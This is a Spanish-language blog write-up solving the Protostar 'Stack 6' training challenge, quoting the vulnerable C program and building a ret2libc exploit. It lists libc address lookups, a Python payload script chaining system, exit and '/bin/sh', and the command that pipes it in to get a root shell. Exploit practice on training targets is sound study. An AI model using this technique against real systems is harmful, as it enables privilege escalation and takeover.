En este post seguiremos con la resolución de los retos de Protostar, os recomiendo que leáis los posts anteriores donde resolvemos los 6 primeros retos : (0-2) (3-4) (5).


Como dije en las entradas anteriores, yo no soy ningún experto en el exploiting, así que si tenéis alguna correccion o recomendación no dudéis en comentármela.

Stack 6

Stack6 looks at what happens when you have restrictions on the return address.
This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s) will help with this), or ret2libc, or even return orientated programming.
It is strongly suggested you experiment with multiple ways of getting your code to execute here.
This level is at /opt/protostar/bin/stack6

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{

  getpath();

}

Leyendo el código fuente entendemos que no podremos resolver este reto como el anterior ya que no podremos dirigir el EIP a nuestro shellcode ya que se detectará que hemos modificado la dirección de retorno de la función getpath() a la pila.
Si aun os cuesta verlo, vamos a demostrarlo intentando redirigir la dirección de retorno a la pila (donde estaría nuestro shellcode)

Como veis si intentamos modificar la dirección de retorno el programa nos devuelve:
“input path please: bzzzt”
En cambio si no se modifica nos devuelve:
“got path”

Supongamos ahora que no tenemos el código fuente, desensamblemos el main() y getpath():

En <getpath+49> damos valor al registro EAX con el valor de [ebp-0xc]
En <getpath+52> efecutamos la operación EAX & 0xbf000000
En <getpath+57> comparamos el resultado de la operación anterior con 0xbf000000: si la EAX (tras el AND) es igual a 0xbf000000 nos saldremos (ya que significa que se ha modificado la dirección de retorno)

Veamoslo prácticamente, pondremos un breakpoint en <getpath + 52> para comprobar el valor del registro EAX y vemos que es la dirección de retorno:

Como si el binario estuviera compilado con NX no podremos ejecutar un shellcode cargado en la pila, ¿qué hacemos ahora?
Como leemos en Wikipedia: “Una pila no ejecutable puede evitar algunos exploits de desbordamiento de buffer, sin embargo no puede prevenir un ataque return-to-libc ya que en un ataque ret2libc solo se usa codigo existente.”

Básicamente en un exploit return-to-libc debemos sobreescribir la dirección de retorno con la dirección de una función presente en el proceso (en las librerias C) como la función System.
Lo primero será encontrar la longitud del relleno, la dirección de la función System, de la función exit y de la cadena “/bin/sh” presentes en la libreria C del proceso.

Busquemos la longitud del relleno:

· Busquemos las direccion de System, exit y “/bin/sh”

(gdb) info proc map
 0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so

$ readelf -s /lib/libc-2.11.2.so | grep system
  1399: 00038fb0   125 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
# o bien (gdb) p system

$ readelf -s /lib/libc-2.11.2.so | grep exit
  136: 0002f0c0    47 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
# o bien (gdb) p exit

$ strings -tx /lib/libc-2.11.2.so | grep "/bin/sh"
  11f3bf /bin/sh

Debemos sumar estas direcciones a la base (en nuestro caso 0xb7e97000):

base = 0xb7e97000
sys = base + 0x038fb0
exit = base + 0x0002f0c0
binsh = base + 0x011f3bf

Creemos nuestro exploit:

import struct

def m32(dir):
    return struct.pack("I",dir)
    
padding = "A" * 80
base = 0xb7e97000
sys = m32(base + 0x038fb0)
exit = m32(base + 0x0002f0c0)
binsh = m32(base + 0x011f3bf)

print padding + sys + exit + binsh

(python stack6.py;cat)|./stack6

Ya somos podemos ejecutar comandos como root; este método nos sirve para bypasser el NX pero no el ASLR

¿Me ayudas a compatirlo?